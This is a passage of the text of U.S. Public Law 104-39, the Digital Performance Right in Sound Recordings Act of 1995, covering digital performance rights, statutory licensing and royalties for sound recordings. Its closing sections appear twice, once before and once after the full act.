recording does not license the distribution of a phonorecord of the nondramatic musical work. ``(J) Nothing in section 1008 shall be construed to prevent the exercise of the rights and remedies allowed by this paragraph, paragraph (6), and chapter 5 in the event of a digital phonorecord delivery, except that no action alleging infringement of copyright may be brought under this title against a manufacturer, importer or distributor of a digital audio recording device, a digital audio recording medium, an analog recording device, or an analog recording medium, or against a consumer, based on the actions described in such section. ``(K) Nothing in this section annuls or limits (i) the exclusive right to publicly perform a sound recording or the musical [[Page 109 STAT. 348]] work embodied therein, including by means of a digital transmission, under sections 106(4) and 106(6), (ii) except for compulsory licensing under the conditions specified by this section, the exclusive rights to reproduce and distribute the sound recording and the musical work embodied therein under sections 106(1) and 106(3), including by means of a digital phonorecord delivery, or (iii) any other rights under any other provision of section 106, or remedies available under this title, as such rights or remedies exist either before or after the date of enactment of the Digital Performance Right in Sound Recordings Act of 1995. ``(L) The provisions of this section concerning digital phonorecord deliveries shall not apply to any exempt transmissions or retransmissions under section 114(d)(1). The exemptions created in section 114(d)(1) do not expand or reduce the rights of copyright owners under section 106 (1) through (5) with respect to such transmissions and retransmissions.''; and (5) by adding after subsection (c) the following: ``(d) Definition.--As used in this section, the following term has the following meaning: A `digital phonorecord delivery' is each individual delivery of a phonorecord by digital transmission of a sound recording which results in a specifically identifiable reproduction by or for any transmission recipient of a phonorecord of that sound recording, regardless of whether the digital transmission is also a public performance of the sound recording or any nondramatic musical work embodied therein. A digital phonorecord delivery does not result from a real-time, non-interactive subscription transmission of a sound recording where no reproduction of the sound recording or the musical work embodied therein is made from the inception of the transmission through to its receipt by the transmission recipient in order to make the sound recording audible.''.SEC. 5. CONFORMING AMENDMENTS. (a) Definitions.--Section 101 of title 17, United States Code, is amended by inserting after the definition of ``device'', ``machine'', or ``process'' the following: ``A `digital transmission' is a transmission in whole or in part in a digital or other non-analog format.''. (b) Limitations on Exclusive Rights: Secondary Transmissions.--Section 111(c)(1) of title 17, United States Code, is amended in the first sentence by inserting ``and section 114(d)'' after ``of this subsection''. (c) Limitations on Exclusive Rights: Secondary Transmissions of Superstations and Network Stations for Private Home Viewing.-- (1) Section 119(a)(1) of title 17, United States Code, is amended in the first sentence by inserting ``and section 114(d)'' after ``of this subsection''. (2) Section 119(a)(2)(A) of title 17, United States Code, is amended in the first sentence by inserting ``and section 114(d)'' after ``of this subsection''. (d) Copyright Arbitration Royalty Panels.-- (1) Section 801(b)(1) of title 17, United States Code, is amended in the first and second sentences by striking ``115'' each place it appears and inserting ``114, 115,''. [[Page 109 STAT. 349]] (2) Section 802(c) of title 17, United States Code, is amended in the third sentence by striking ``section 111, 116, or 119,'' and inserting ``section 111, 114, 116, or 119, any person entitled to a compulsory license under section 114(d), any person entitled to a compulsory license under section 115,''. (3) Section 802(g) of title 17, United States Code, is amended in the third sentence by inserting ``114,'' after ``111,''. (4) Section 802(h)(2) of title 17, United States Code, is amended by inserting ``114,'' after ``111,''. (5) Section 803(a)(1) of title 17, United States Code, is amended in the first sentence by striking ``115'' and inserting ``114, 115'' and by striking ``and (4)'' and inserting ``(4) and (5)''. (6) Section 803(a)(3) of title 17, United States Code, is amended by inserting before the period ``or as prescribed in section 115(c)(3)(D)''. (7) Section 803(a) of title 17, United States Code, is amended by inserting after paragraph (4) the following new paragraph: ``(5) With respect to proceedings under section 801(b)(1) concerning the determination of reasonable terms and rates of royalty payments as provided in section 114, the Librarian of Congress shall proceed when and as provided by that section.''.SEC. 6. EFFECTIVE DATE. This Act and the amendments made by this Act shall take effect 3 months after the date of enactment of this Act, except that the provisions of sections 114(e) and 114(f) of title 17, United States Code (as added by section 3 of this Act) shall take effect immediately upon the date of enactment of this Act. Approved November 1, 1995.LEGISLATIVE HISTORY--S. 227 (H.R. 1506):HOUSE REPORTS: No. 104-274 accompanying H.R. 1506 (Comm. on the Judiciary).SENATE REPORTS: No. 104-128 (Comm. on the Judiciary).CONGRESSIONAL RECORD, Vol. 141 (1995): Aug. 8, considered and passed Senate. Oct. 17, H.R. 1506 and S. 227 considered and passed House. Digital Performance Right in Sound Recordings Act of 1995[DOCID: f:publ39.104] DIGITAL PERFORMANCE RIGHT IN SOUND RECORDINGS ACT OF 1995[[Page 109 STAT. 336]]Public Law 104-39104th Congress An Act To amend title 17, United States Code, to provide an exclusive right to perform sound recordings publicly by means of digital transmissions, and for other purposes. Be it enacted by the Senate and House of Representatives of the United States of America in Congress assembled, SECTION 1. SHORT TITLE. This Act may be cited as the ``Digital Performance Right in Sound Recordings Act of 1995''.SEC. 2. EXCLUSIVE RIGHTS IN COPYRIGHTED WORKS. Section 106 of title 17, United States Code, is amended-- (1) in paragraph (4) by striking ``and'' after the semicolon; (2) in paragraph (5) by striking the period and inserting ``; and''; and (3) by adding at the end the following: ``(6) in the case of sound recordings, to perform the copyrighted work publicly by means of a digital audio transmission.''.SEC. 3. SCOPE OF EXCLUSIVE RIGHTS IN SOUND RECORDINGS. Section 114 of title 17, United States Code, is amended-- (1) in subsection (a) by striking ``and (3)'' and inserting ``(3) and (6)''; (2) in subsection (b) in the first sentence by striking ``phonorecords, or of copies of motion pictures and other audiovisual works,'' and inserting ``phonorecords or copies''; (3) by striking subsection (d) and inserting: ``(d) Limitations on Exclusive Right.--Notwithstanding the provisions of section 106(6)-- ``(1) Exempt transmissions and retransmissions.--The performance of a sound recording publicly by means of a digital audio transmission, other than as a part of an interactive service, is not an infringement of section 106(6) if the performance is part of-- ``(A)(i) a nonsubscription transmission other than a retransmission; ``(ii) an initial nonsubscription retransmission made for direct reception by members of the public of a prior or simultaneous incidental transmission that is not made for direct reception by members of the public; or ``(iii) a nonsubscription broadcast transmission; ``(B) a retransmission of a nonsubscription broadcast transmission: Provided, That, in the case of a retransmission of a radio station's broadcast transmission-- [[Page 109 STAT. 337]] ``(i) the radio station's broadcast transmission is not willfully or repeatedly retransmitted more than a radius of 150 miles from the site of the radio broadcast transmitter, however-- ``(I) the 150 mile limitation under this clause shall not apply when a nonsubscription broadcast transmission by a radio station licensed by the Federal Communications Commission is retransmitted on a nonsubscription basis by a terrestrial broadcast station, terrestrial translator, or terrestrial repeater licensed by the Federal Communications Commission; and ``(II) in the case of a subscription retransmission of a nonsubscription broadcast retransmission covered by subclause (I), the 150 mile radius shall be measured from the transmitter site of such broadcast retransmitter; ``(ii) the retransmission is of radio station broadcast transmissions that are-- ``(I) obtained by the retransmitter over the air; ``(II) not electronically processed by the retransmitter to deliver separate and discrete signals; and ``(III) retransmitted only within the local communities served by the retransmitter; ``(iii) the radio station's broadcast transmission was being retransmitted to cable systems (as defined in section 111(f)) by a satellite carrier on January 1, 1995, and that retransmission was being retransmitted by cable systems as a separate and discrete signal, and the satellite carrier obtains the radio station's broadcast transmission in an analog format: Provided, That the broadcast transmission being retransmitted may embody the programming of no more than one radio station; or ``(iv) the radio station's broadcast transmission is made by a noncommercial educational broadcast station funded on or after January 1, 1995, under section 396(k) of the Communications Act of 1934 (47 U.S.C. 396(k)), consists solely of noncommercial educational and cultural radio programs, and the retransmission, whether or not simultaneous, is a nonsubscription terrestrial broadcast retransmission; or ``(C) a transmission that comes within any of the following categories-- ``(i) a prior or simultaneous transmission incidental to an exempt transmission, such as a feed received by and then retransmitted by an exempt transmitter: Provided, That such incidental transmissions do not include any subscription transmission directly for reception by members of the public; ``(ii) a transmission within a business establishment, confined to its premises or the immediately surrounding vicinity; ``(iii) a retransmission by any retransmitter, including a multichannel video programming distributor as [[Page 109 STAT. 338]] defined in section 602(12) of the Communications Act of 1934 (47 U.S.C. 522(12)), of a transmission by a transmitter licensed to publicly perform the sound recording as a part of that transmission, if the retransmission is simultaneous with the licensed transmission and authorized by the transmitter; or ``(iv) a transmission to a business establishment for use in the ordinary course of its business: Provided, That the business recipient does not retransmit the transmission outside of its premises or the immediately surrounding vicinity, and that the transmission does not exceed the sound recording performance complement. Nothing in this clause shall limit the scope of the exemption in clause (ii). ``(2) Subscription transmissions.--In the case of a subscription transmission not exempt under subsection (d)(1), the performance of a sound recording publicly by means of a digital audio transmission shall be subject to statutory licensing, in accordance with subsection (f) of this section, if-- ``(A) the transmission is not part of an interactive service; ``(B) the transmission does not exceed the sound recording performance complement; ``(C) the transmitting entity does not cause to be published by means of an advance program schedule or prior announcement the titles of the specific sound recordings or phonorecords embodying such sound recordings to be transmitted; ``(D) except in the case of transmission to a business establishment, the transmitting entity does not automatically and intentionally cause any device receiving the transmission to switch from one program channel to another; and ``(E) except as provided in section 1002(e) of this title, the transmission of the sound recording is accompanied by the information encoded in that sound recording, if any, by or under the authority of the copyright owner of that sound recording, that identifies the title of the sound recording, the featured recording artist who performs on the sound recording, and related information, including information concerning the underlying musical work and its writer. ``(3) Licenses for transmissions by interactive services.-- ``(A) No interactive service shall be granted an exclusive license under section 106(6) for the performance of a sound recording publicly by means of digital audio transmission for a period in excess of 12 months, except that with respect to an exclusive license granted to an interactive service by a licensor that holds the copyright to 1,000 or fewer sound recordings, the period of such license shall not exceed 24 months: Provided, however, That the grantee of such exclusive license shall be ineligible to receive another exclusive license for the performance of that sound recording for a period of 13 months from the expiration of the prior exclusive license. [[Page 109 STAT. 339]] ``(B) The limitation set forth in subparagraph (A) of this paragraph shall not apply if-- ``(i) the licensor has granted and there remain in effect licenses under section 106(6) for the public performance of sound recordings by means of digital audio transmission by at least 5 different interactive services: Provided, however, That each such license must be for a minimum of 10 percent of the copyrighted sound recordings owned by the licensor that have been licensed to interactive services, but in no event less than 50 sound recordings; or ``(ii) the exclusive license is granted to perform publicly up to 45 seconds of a sound recording and the sole purpose of the performance is to promote the distribution or performance of that sound recording. ``(C) Notwithstanding the grant of an exclusive or nonexclusive license of the right of public performance under section 106(6), an interactive service may not publicly perform a sound recording unless a license has been granted for the public performance of any copyrighted musical work contained in the sound recording: Provided, That such license to publicly perform the copyrighted musical work may be granted either by a performing rights society representing the copyright owner or by the copyright owner. ``(D) The performance of a sound recording by means of a retransmission of a digital audio transmission is not an infringement of section 106(6) if-- ``(i) the retransmission is of a transmission by an interactive service licensed to publicly perform the sound recording to a particular member of the public as part of that transmission; and ``(ii) the retransmission is simultaneous with the licensed transmission, authorized by the transmitter, and limited to that particular member of the public intended by the interactive service to be the recipient of the transmission. ``(E) For the purposes of this paragraph-- ``(i) a `licensor' shall include the licensing entity and any other entity under any material degree of common ownership, management, or control that owns copyrights in sound recordings; and ``(ii) a `performing rights society' is an association or corporation that licenses the public performance of nondramatic musical works on behalf of the copyright owner, such as the American Society of Composers, Authors and Publishers, Broadcast Music, Inc., and SESAC, Inc. ``(4) Rights not otherwise limited.-- ``(A) Except as expressly provided in this section, this section does not limit or impair the exclusive right to perform a sound recording publicly by means of a digital audio transmission under section 106(6). ``(B) Nothing in this section annuls or limits in any way-- [[Page 109 STAT. 340]] ``(i) the exclusive right to publicly perform a musical work, including by means of a digital audio transmission, under section 106(4); ``(ii) the exclusive rights in a sound recording or the musical work embodied therein under sections 106(1), 106(2) and 106(3); or ``(iii) any other rights under any other clause of section 106, or remedies available under this title, as such rights or remedies exist either before or after the date of enactment of the Digital Performance Right in Sound Recordings Act of 1995. ``(C) Any limitations in this section on the exclusive right under section 106(6) apply only to the exclusive right under section 106(6) and not to any other exclusive rights under section 106. Nothing in this section shall be construed to annul, limit, impair or otherwise affect in any way the ability of the owner of a copyright in a sound recording to exercise the rights under sections 106(1), 106(2) and 106(3), or to obtain the remedies available under this title pursuant to such rights, as such rights and remedies exist either before or after the date of enactment of the Digital Performance Right in Sound Recordings Act of 1995.''; and (4) by adding after subsection (d) the following: ``(e) Authority for Negotiations.-- ``(1) Notwithstanding any provision of the antitrust laws, in negotiating statutory licenses in accordance with subsection (f), any copyright owners of sound recordings and any entities performing sound recordings affected by this section may negotiate and agree upon the royalty rates and license terms and conditions for the performance of such sound recordings and the proportionate division of fees paid among copyright owners, and may designate common agents on a nonexclusive basis to negotiate, agree to, pay, or receive payments. ``(2) For licenses granted under section 106(6), other than statutory licenses, such as for performances by interactive services or performances that exceed the sound recording performance complement-- ``(A) copyright owners of sound recordings affected by this section may designate common agents to act on their behalf to grant licenses and receive and remit royalty payments: Provided, That each copyright owner shall establish the royalty rates and material license terms and conditions unilaterally, that is, not in agreement, combination, or concert with other copyright owners of sound recordings; and ``(B) entities performing sound recordings affected by this section may designate common agents to act on their behalf to obtain licenses and collect and pay royalty fees: Provided, That each entity performing sound recordings shall determine the royalty rates and material license terms and conditions unilaterally, that is, not in agreement, combination, or concert with other entities performing sound recordings. ``(f) Licenses for Nonexempt Subscription Transmissions.-- ``(1) No later than 30 days after the enactment of the Digital Performance Right in Sound Recordings Act of 1995, [[Page 109 STAT. 341]] the Librarian of Congress shall cause notice to be published in the Federal Register of the initiation of voluntary negotiation proceedings for the purpose of determining reasonable terms and rates of royalty payments for the activities specified by subsection (d)(2) of this section during the period beginning on the effective date of such Act and ending on December 31, 2000. Such terms and rates shall distinguish among the different types of digital audio transmission services then in operation. Any copyright owners of sound recordings or any entities performing sound recordings affected by this section may submit to the Librarian of Congress licenses covering such activities with respect to such sound recordings. The parties to each negotiation proceeding shall bear their own costs. ``(2) In the absence of license agreements negotiated under paragraph (1), during the 60-day period commencing 6 months after publication of the notice specified in paragraph (1), and upon the filing of a petition in accordance with section 803(a)(1), the Librarian of Congress shall, pursuant to chapter 8, convene a copyright arbitration royalty panel to determine and publish in the Federal Register a schedule of rates and terms which, subject to paragraph (3), shall be binding on all copyright owners of sound recordings and entities performing sound recordings. In addition to the objectives set forth in section 801(b)(1), in establishing such rates and terms, the copyright arbitration royalty panel may consider the rates and terms for comparable types of digital audio transmission services and comparable circumstances under voluntary license agreements negotiated as provided in paragraph (1). The Librarian of Congress shall also establish requirements by which copyright owners may receive reasonable notice of the use of their sound recordings under this section, and under which records of such use shall be kept and made available by entities performing sound recordings. ``(3) License agreements voluntarily negotiated at any time between one or more copyright owners of sound recordings and one or more entities performing sound recordings shall be given effect in lieu of any determination by a copyright arbitration royalty panel or decision by the Librarian of Congress. ``(4) (A) Publication of a notice of the initiation of voluntary negotiation proceedings as specified in paragraph (1) shall be repeated, in accordance with regulations that the Librarian of Congress shall prescribe-- ``(i) no later than 30 days after a petition is filed by any copyright owners of sound recordings or any entities performing sound recordings affected by this section indicating that a new type of digital audio transmission service on which sound recordings are performed is or is about to become operational; and ``(ii) in the first week of January, 2000 and at 5- year intervals thereafter. ``(B)(i) The procedures specified in paragraph (2) shall be repeated, in accordance with regulations that the Librarian of Congress shall prescribe, upon the filing of a petition in accordance with section 803(a)(1) during a 60-day period commencing-- [[Page 109 STAT. 342]] ``(I) six months after publication of a notice of the initiation of voluntary negotiation proceedings under paragraph (1) pursuant to a petition under paragraph (4)(A)(i); or ``(II) on July 1, 2000 and at 5-year intervals thereafter. ``(ii) The procedures specified in paragraph (2) shall be concluded in accordance with section 802. ``(5)(A) Any person who wishes to perform a sound recording publicly by means of a nonexempt subscription transmission under this subsection may do so without infringing the exclusive right of the copyright owner of the sound recording-- ``(i) by complying with such notice requirements as the Librarian of Congress shall prescribe by regulation and by paying royalty fees in accordance with this subsection; or ``(ii) if such royalty fees have not been set, by agreeing to pay such royalty fees as shall be determined in accordance with this subsection. ``(B) Any royalty payments in arrears shall be made on or before the twentieth day of the month next succeeding the month in which the royalty fees are set. ``(g) Proceeds From Licensing of Subscription Transmissions.-- ``(1) Except in the case of a subscription transmission licensed in accordance with subsection (f) of this section-- ``(A) a featured recording artist who performs on a sound recording that has been licensed for a subscription transmission shall be entitled to receive payments from the copyright owner of the sound recording in accordance with the terms of the artist's contract; and ``(B) a nonfeatured recording artist who performs on a sound recording that has been licensed for a subscription transmission shall be entitled to receive payments from the copyright owner of the sound recording in accordance with the terms of the nonfeatured recording artist's applicable contract or other applicable agreement. ``(2) The copyright owner of the exclusive right under section 106(6) of this title to publicly perform a sound recording by means of a digital audio transmission shall allocate to recording artists in the following manner its receipts from the statutory licensing of subscription transmission performances of the sound recording in accordance with subsection (f) of this section: ``(A) 2\1/2\ percent of the receipts shall be deposited in an escrow account managed by an independent administrator jointly appointed by copyright owners of sound recordings and the American Federation of Musicians (or any successor entity) to be distributed to nonfeatured musicians (whether or not members of the American Federation of Musicians) who have performed on sound recordings. ``(B) 2\1/2\ percent of the receipts shall be deposited in an escrow account managed by an independent administrator jointly appointed by copyright owners of sound recordings and the American Federation of Television and Radio Artists (or any successor entity) to be distributed to nonfeatured vocalists (whether or not members of the [[Page 109 STAT. 343]] American Federation of Television and Radio Artists) who have performed on sound recordings. ``(C) 45 percent of the receipts shall be allocated, on a per sound recording basis, to the recording artist or artists featured on such sound recording (or the persons conveying rights in the artists' performance in the sound recordings). ``(h) Licensing to Affiliates.-- ``(1) If the copyright owner of a sound recording licenses an affiliated entity the right to publicly perform a sound recording by means of a digital audio transmission under section 106(6), the copyright owner shall make the licensed sound recording available under section 106(6) on no less favorable terms and conditions to all bona fide entities that offer similar services, except that, if there are material differences in the scope of the requested license with respect to the type of service, the particular sound recordings licensed, the frequency of use, the number of subscribers served, or the duration, then the copyright owner may establish different terms and conditions for such other services. ``(2) The limitation set forth in paragraph (1) of this subsection shall not apply in the case where the copyright owner of a sound recording licenses-- ``(A) an interactive service; or ``(B) an entity to perform publicly up to 45 seconds of the sound recording and the sole purpose of the performance is to promote the distribution or performance of that sound recording. ``(i) No Effect on Royalties for Underlying Works.--License fees payable for the public performance of sound recordings under section 106(6) shall not be taken into account in any administrative, judicial, or other governmental proceeding to set or adjust the royalties payable to copyright owners of musical works for the public performance of their works. It is the intent of Congress that royalties payable to copyright owners of musical works for the public performance of their works shall not be diminished in any respect as a result of the rights granted by section 106(6). ``(j) Definitions.--As used in this section, the following terms have the following meanings: ``(1) An `affiliated entity' is an entity engaging in digital audio transmissions covered by section 106(6), other than an interactive service, in which the licensor has any direct or indirect partnership or any ownership interest amounting to 5 percent or more of the outstanding voting or non- voting stock. ``(2) A `broadcast' transmission is a transmission made by a terrestrial broadcast station licensed as such by the Federal Communications Commission. ``(3) A `digital audio transmission' is a digital transmission as defined in section 101, that embodies the transmission of a sound recording. This term does not include the transmission of any audiovisual work. ``(4) An `interactive service' is one that enables a member of the public to receive, on request, a transmission of a particular sound recording chosen by or on behalf of the recipient. The ability of individuals to request that particular sound recordings be performed for reception by the public at large [[Page 109 STAT. 344]] does not make a service interactive. If an entity offers both interactive and non-interactive services (either concurrently or at different times), the non-interactive component shall not be treated as part of an interactive service. ``(5) A `nonsubscription' transmission is any transmission that is not a subscription transmission. ``(6) A `retransmission' is a further transmission of an initial transmission, and includes any further retransmission of the same transmission. Except as provided in this section, a transmission qualifies as a `retransmission' only if it is simultaneous with the initial transmission. Nothing in this definition shall be construed to exempt a transmission that fails to satisfy a separate element required to qualify for an exemption under section 114(d)(1). ``(7) The `sound recording performance complement' is the transmission during any 3-hour period, on a particular channel used by a transmitting entity, of no more than-- ``(A) 3 different selections of sound recordings from any one phonorecord lawfully distributed for public performance or sale in the United States, if no more than 2 such selections are transmitted consecutively; or ``(B) 4 different selections of sound recordings-- ``(i) by the same featured recording artist; or ``(ii) from any set or compilation of phonorecords lawfully distributed together as a unit for public performance or sale in the United States, if no more than three such selections are transmitted consecutively: Provided, That the transmission of selections in excess of the numerical limits provided for in clauses (A) and (B) from multiple phonorecords shall nonetheless qualify as a sound recording performance complement if the programming of the multiple phonorecords was not willfully intended to avoid the numerical limitations prescribed in such clauses. ``(8) A `subscription' transmission is a transmission that is controlled and limited to particular recipients, and for which consideration is required to be paid or otherwise given by or on behalf of the recipient to receive the transmission or a package of transmissions including the transmission. ``(9) A `transmission' includes both an initial transmission and a retransmission.''.SEC. 4. MECHANICAL ROYALTIES IN DIGITAL PHONORECORD DELIVERIES. Section 115 of title 17, United States Code, is amended-- (1) in subsection (a)(1)-- (A) in the first sentence by striking out ``any other person'' and inserting in lieu thereof ``any other person, including those who make phonorecords or digital phonorecord deliveries,''; and (B) in the second sentence by inserting before the period ``, including by means of a digital phonorecord delivery''; (2) in subsection (c)(2) in the second sentence by inserting ``and other than as provided in paragraph (3),'' after ``For this purpose,''; [[Page 109 STAT. 345]] (3) by redesignating paragraphs (3), (4), and (5) of subsection (c) as paragraphs (4), (5), and (6), respectively, and by inserting after paragraph (2) the following new paragraph: ``(3)(A) A compulsory license under this section includes the right of the compulsory licensee to distribute or authorize the distribution of a phonorecord of a nondramatic musical work by means of a digital transmission which constitutes a digital phonorecord delivery, regardless of whether the digital transmission is also a public performance of the sound recording under section 106(6) of this title or of any nondramatic musical work embodied therein under section 106(4) of this title. For every digital phonorecord delivery by or under the authority of the compulsory licensee-- ``(i) on or before December 31, 1997, the royalty payable by the compulsory licensee shall be the royalty prescribed under paragraph (2) and chapter 8 of this title; and ``(ii) on or after January 1, 1998, the royalty payable by the compulsory licensee shall be the royalty prescribed under subparagraphs (B) through (F) and chapter 8 of this title. ``(B) Notwithstanding any provision of the antitrust laws, any copyright owners of nondramatic musical works and any persons entitled to obtain a compulsory license under subsection (a)(1) may negotiate and agree upon the terms and rates of royalty payments under this paragraph and the proportionate division of fees paid among copyright owners, and may designate common agents to negotiate, agree to, pay or receive such royalty payments. Such authority to negotiate the terms and rates of royalty payments includes, but is not limited to, the authority to negotiate the year during which the royalty rates prescribed under subparagraphs (B) through (F) and chapter 8 of this title shall next be determined. ``(C) During the period of June 30, 1996, through December 31, 1996, the Librarian of Congress shall cause notice to be published in the Federal Register of the initiation of voluntary negotiation proceedings for the purpose of determining reasonable terms and rates of royalty payments for the activities specified by subparagraph (A) during the period beginning January 1, 1998, and ending on the effective date of any new terms and rates established pursuant to subparagraph (C), (D) or (F), or such other date (regarding digital phonorecord deliveries) as the parties may agree. Such terms and rates shall distinguish between (i) digital phonorecord deliveries where the reproduction or distribution of a phonorecord is incidental to the transmission which constitutes the digital phonorecord delivery, and (ii) digital phonorecord deliveries in general. Any copyright owners of nondramatic musical works and any persons entitled to obtain a compulsory license under subsection (a)(1) may submit to the Librarian of Congress licenses covering such activities. The parties to each negotiation proceeding shall bear their own costs. ``(D) In the absence of license agreements negotiated under subparagraphs (B) and (C), upon the filing of a petition in accordance with section 803(a)(1), the Librarian of Congress shall, pursuant to chapter 8, convene a copyright arbitration royalty panel to determine and publish in the Federal Register a schedule of rates and terms which, subject to subparagraph [[Page 109 STAT. 346]] (E), shall be binding on all copyright owners of nondramatic musical works and persons entitled to obtain a compulsory license under subsection (a)(1) during the period beginning January 1, 1998, and ending on the effective date of any new terms and rates established pursuant to subparagraph (C), (D) or (F), or such other date (regarding digital phonorecord deliveries) as may be determined pursuant to subparagraphs (B) and (C). Such terms and rates shall distinguish between (i) digital phonorecord deliveries where the reproduction or distribution of a phonorecord is incidental to the transmission which constitutes the digital phonorecord delivery, and (ii) digital phonorecord deliveries in general. In addition to the objectives set forth in section 801(b)(1), in establishing such rates and terms, the copyright arbitration royalty panel may consider rates and terms under voluntary license agreements negotiated as provided in subparagraphs (B) and (C). The royalty rates payable for a compulsory license for a digital phonorecord delivery under this section shall be established de novo and no precedential effect shall be given to the amount of the royalty payable by a compulsory licensee for digital phonorecord deliveries on or before December 31, 1997. The Librarian of Congress shall also establish requirements by which copyright owners may receive reasonable notice of the use of their works under this section, and under which records of such use shall be kept and made available by persons making digital phonorecord deliveries. ``(E)(i) License agreements voluntarily negotiated at any time between one or more copyright owners of nondramatic musical works and one or more persons entitled to obtain a compulsory license under subsection (a)(1) shall be given effect in lieu of any determination by the Librarian of Congress. Subject to clause (ii), the royalty rates determined pursuant to subparagraph (C), (D) or (F) shall be given effect in lieu of any contrary royalty rates specified in a contract pursuant to which a recording artist who is the author of a nondramatic musical work grants a license under that person's exclusive rights in the musical work under sections 106 (1) and (3) or commits another person to grant a license in that musical work under sections 106 (1) and (3), to a person desiring to fix in a tangible medium of expression a sound recording embodying the musical work. ``(ii) The second sentence of clause (i) shall not apply to-- ``(I) a contract entered into on or before June 22, 1995, and not modified thereafter for the purpose of reducing the royalty rates determined pursuant to subparagraph (C), (D) or (F) or of increasing the number of musical works within the scope of the contract covered by the reduced rates, except if a contract entered into on or before June 22, 1995, is modified thereafter for the purpose of increasing the number of musical works within the scope of the contract, any contrary royalty rates specified in the contract shall be given effect in lieu of royalty rates determined pursuant to subparagraph (C), (D) or (F) for the number of musical works within the scope of the contract as of June 22, 1995; and ``(II) a contract entered into after the date that the sound recording is fixed in a tangible medium of expression [[Page 109 STAT. 347]] substantially in a form intended for commercial release, if at the time the contract is entered into, the recording artist retains the right to grant licenses as to the musical work under sections 106(1) and 106(3). ``(F) The procedures specified in subparagraphs (C) and (D) shall be repeated and concluded, in accordance with regulations that the Librarian of Congress shall prescribe, in each fifth calendar year after 1997, except to the extent that different years for the repeating and concluding of such proceedings may be determined in accordance with subparagraphs (B) and (C). ``(G) Except as provided in section 1002(e) of this title, a digital phonorecord delivery licensed under this paragraph shall be accompanied by the information encoded in the sound recording, if any, by or under the authority of the copyright owner of that sound recording, that identifies the title of the sound recording, the featured recording artist who performs on the sound recording, and related information, including information concerning the underlying musical work and its writer. ``(H)(i) A digital phonorecord delivery of a sound recording is actionable as an act of infringement under section 501, and is fully subject to the remedies provided by sections 502 through 506 and section 509, unless-- ``(I) the digital phonorecord delivery has been authorized by the copyright owner of the sound recording; and ``(II) the owner of the copyright in the sound recording or the entity making the digital phonorecord delivery has obtained a compulsory license under this section or has otherwise been authorized by the copyright owner of the musical work to distribute or authorize the distribution, by means of a digital phonorecord delivery, of each musical work embodied in the sound recording. ``(ii) Any cause of action under this subparagraph shall be in addition to those available to the owner of the copyright in the nondramatic musical work under subsection (c)(6) and section 106(4) and the owner of the copyright in the sound recording under section 106(6). ``(I) The liability of the copyright owner of a sound recording for infringement of the copyright in a nondramatic musical work embodied in the sound recording shall be determined in accordance with applicable law, except that the owner of a copyright in a sound recording shall not be liable for a digital phonorecord delivery by a third party if the owner of the copyright in the sound recording does not license the distribution of a phonorecord of the nondramatic musical work. ``(J) Nothing in section 1008 shall be construed to prevent the exercise of the rights and remedies allowed by this paragraph, paragraph (6), and chapter 5 in the event of a digital phonorecord delivery, except that no action alleging infringement of copyright may be brought under this title against a manufacturer, importer or distributor of a digital audio recording device, a digital audio recording medium, an analog recording device, or an analog recording medium, or against a consumer, based on the actions described in such section. ``(K) Nothing in this section annuls or limits (i) the exclusive right to publicly perform a sound recording or the musical [[Page 109 STAT. 348]] work embodied therein, including by means of a digital transmission, under sections 106(4) and 106(6), (ii) except for compulsory licensing under the conditions specified by this section, the exclusive rights to reproduce and distribute the sound recording and the musical work embodied therein under sections 106(1) and 106(3), including by means of a digital phonorecord delivery, or (iii) any other rights under any other provision of section 106, or remedies available under this title, as such rights or remedies exist either before or after the date of enactment of the Digital Performance Right in Sound Recordings Act of 1995. ``(L) The provisions of this section concerning digital phonorecord deliveries shall not apply to any exempt transmissions or retransmissions under section 114(d)(1). The exemptions created in section 114(d)(1) do not expand or reduce the rights of copyright owners under section 106 (1) through (5) with respect to such transmissions and retransmissions.''; and (5) by adding after subsection (c) the following: ``(d) Definition.--As used in this section, the following term has the following meaning: A `digital phonorecord delivery' is each individual delivery of a phonorecord by digital transmission of a sound recording which results in a specifically identifiable reproduction by or for any transmission recipient of a phonorecord of that sound recording, regardless of whether the digital transmission is also a public performance of the sound recording or any nondramatic musical work embodied therein. A digital phonorecord delivery does not result from a real-time, non-interactive subscription transmission of a sound recording where no reproduction of the sound recording or the musical work embodied therein is made from the inception of the transmission through to its receipt by the transmission recipient in order to make the sound recording audible.''.SEC. 5. CONFORMING AMENDMENTS. (a) Definitions.--Section 101 of title 17, United States Code, is amended by inserting after the definition of ``device'', ``machine'', or ``process'' the following: ``A `digital transmission' is a transmission in whole or in part in a digital or other non-analog format.''. (b) Limitations on Exclusive Rights: Secondary Transmissions.--Section 111(c)(1) of title 17, United States Code, is amended in the first sentence by inserting ``and section 114(d)'' after ``of this subsection''. (c) Limitations on Exclusive Rights: Secondary Transmissions of Superstations and Network Stations for Private Home Viewing.-- (1) Section 119(a)(1) of title 17, United States Code, is amended in the first sentence by inserting ``and section 114(d)'' after ``of this subsection''. (2) Section 119(a)(2)(A) of title 17, United States Code, is amended in the first sentence by inserting ``and section 114(d)'' after ``of this subsection''. (d) Copyright Arbitration Royalty Panels.-- (1) Section 801(b)(1) of title 17, United States Code, is amended in the first and second sentences by striking ``115'' each place it appears and inserting ``114, 115,''. [[Page 109 STAT. 349]] (2) Section 802(c) of title 17, United States Code, is amended in the third sentence by striking ``section 111, 116, or 119,'' and inserting ``section 111, 114, 116, or 119, any person entitled to a compulsory license under section 114(d), any person entitled to a compulsory license under section 115,''. (3) Section 802(g) of title 17, United States Code, is amended in the third sentence by inserting ``114,'' after ``111,''. (4) Section 802(h)(2) of title 17, United States Code, is amended by inserting ``114,'' after ``111,''. (5) Section 803(a)(1) of title 17, United States Code, is amended in the first sentence by striking ``115'' and inserting ``114, 115'' and by striking ``and (4)'' and inserting ``(4) and (5)''. (6) Section 803(a)(3) of title 17, United States Code, is amended by inserting before the period ``or as prescribed in section 115(c)(3)(D)''. (7) Section 803(a) of title 17, United States Code, is amended by inserting after paragraph (4) the following new paragraph: ``(5) With respect to proceedings under section 801(b)(1) concerning the determination of reasonable terms and rates of royalty payments as provided in section 114, the Librarian of Congress shall proceed when and as provided by that section.''.SEC. 6. EFFECTIVE DATE. This Act and the amendments made by this Act shall take effect 3 months after the date of enactment of this Act, except that the provisions of sections 114(e) and 114(f) of title 17, United States Code (as added by section 3 of this Act) shall take effect immediately upon the date of enactment of this Act. Approved November 1, 1995.LEGISLATIVE HISTORY--S. 227 (H.R. 1506):HOUSE REPORTS: No. 104-274 accompanying H.R. 1506 (Comm. on the Judiciary).SENATE REPORTS: No. 104-128 (Comm. on the Judiciary).CONGRESSIONAL RECORD, Vol. 141 (1995): Aug. 8, considered 